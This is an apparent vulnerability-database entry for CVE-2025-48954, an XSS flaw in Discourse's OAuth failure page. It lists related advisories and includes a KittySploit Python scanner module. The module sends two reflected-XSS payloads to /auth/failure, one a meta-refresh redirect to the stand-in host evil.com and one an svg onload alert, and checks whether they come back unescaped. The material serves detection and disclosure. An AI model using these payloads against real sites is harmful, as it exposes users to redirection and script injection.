Discourse OAuth Social Login - Cross-site Scripting
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-48954 | 25 Jun 202514:51 | – | circl | |
| Discourse 跨站脚本漏洞 | 25 Jun 202500:00 | – | cnnvd | |
| CVE-2025-48954 | 25 Jun 202514:02 | – | cve | |
| CVE-2025-48954 Discourse vulnerable to XSS via user-provided query parameter in oauth failure flow | 25 Jun 202514:02 | – | cvelist | |
| EUVD-2025-28274 | 25 Jun 202514:02 | – | euvd | |
| Discourse OAuth Social Login - Cross-site Scripting | 17 Oct 202602:05 | – | nuclei | |
| CVE-2025-48954 | 25 Jun 202514:15 | – | nvd | |
| Discourse 3.5.x < 3.5.0.beta6 XSS Vulnerability | 26 Jun 202500:00 | – | openvas | |
| BIT-DISCOURSE-2025-48954 Discourse vulnerable to XSS via user-provided query parameter in oauth failure flow | 1 Jul 202517:44 | – | osv_bit | |
| PT-2025-26829 · Discourse · Discourse | 25 Jun 202500:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Discourse OAuth Social Login - Cross-site Scripting"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": 'Discourse OAuth Social Login - Cross-site Scripting',
"description": 'Discourse < 3.5.0.beta6 reflects unsanitized provider in /auth/failure.',
"author": ["KittySploit Team"],
"severity": 'high',
"cve": 'CVE-2025-48954',
"tags": ['web', 'scanner', 'cve', 'cve2025', 'vuln', 'discourse', 'xss', 'oauth'],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 2,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "endpoints"],
"cost": 1.0,
"noise": 0.2,
"value": 1.0,
},
"references": ['https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf', 'https://nvd.nist.gov/vuln/detail/CVE-2025-48954'],
}
def run(self):
marker = "XSS-CVE-2025-48954"
paths = (
'/auth/failure?provider=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E',
f"/auth/failure?provider=<svg/onload=alert('{marker}')>",
)
for path in paths:
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
if "discourse" not in body.lower():
continue
reflected = (
'<meta http-equiv="refresh" content="0;url=https://evil.com">' in body
or (marker in body and "onload=alert(" in body)
)
if not reflected:
continue
headers_blob = "\n".join(f"{k}: {v}" for k, v in r.headers.items()).lower()
# XSS more meaningful without CSP
self.set_info(
severity="high",
cve="CVE-2025-48954",
reason="Discourse /auth/failure reflected unsanitized provider payload",
path=path,
csp_present="content-security-policy" in headers_blob,
confidence="high",
)
return True
return False
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28 Jul 2026 11:27Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.16.1 - 8.1
EPSS0.00736
SSVC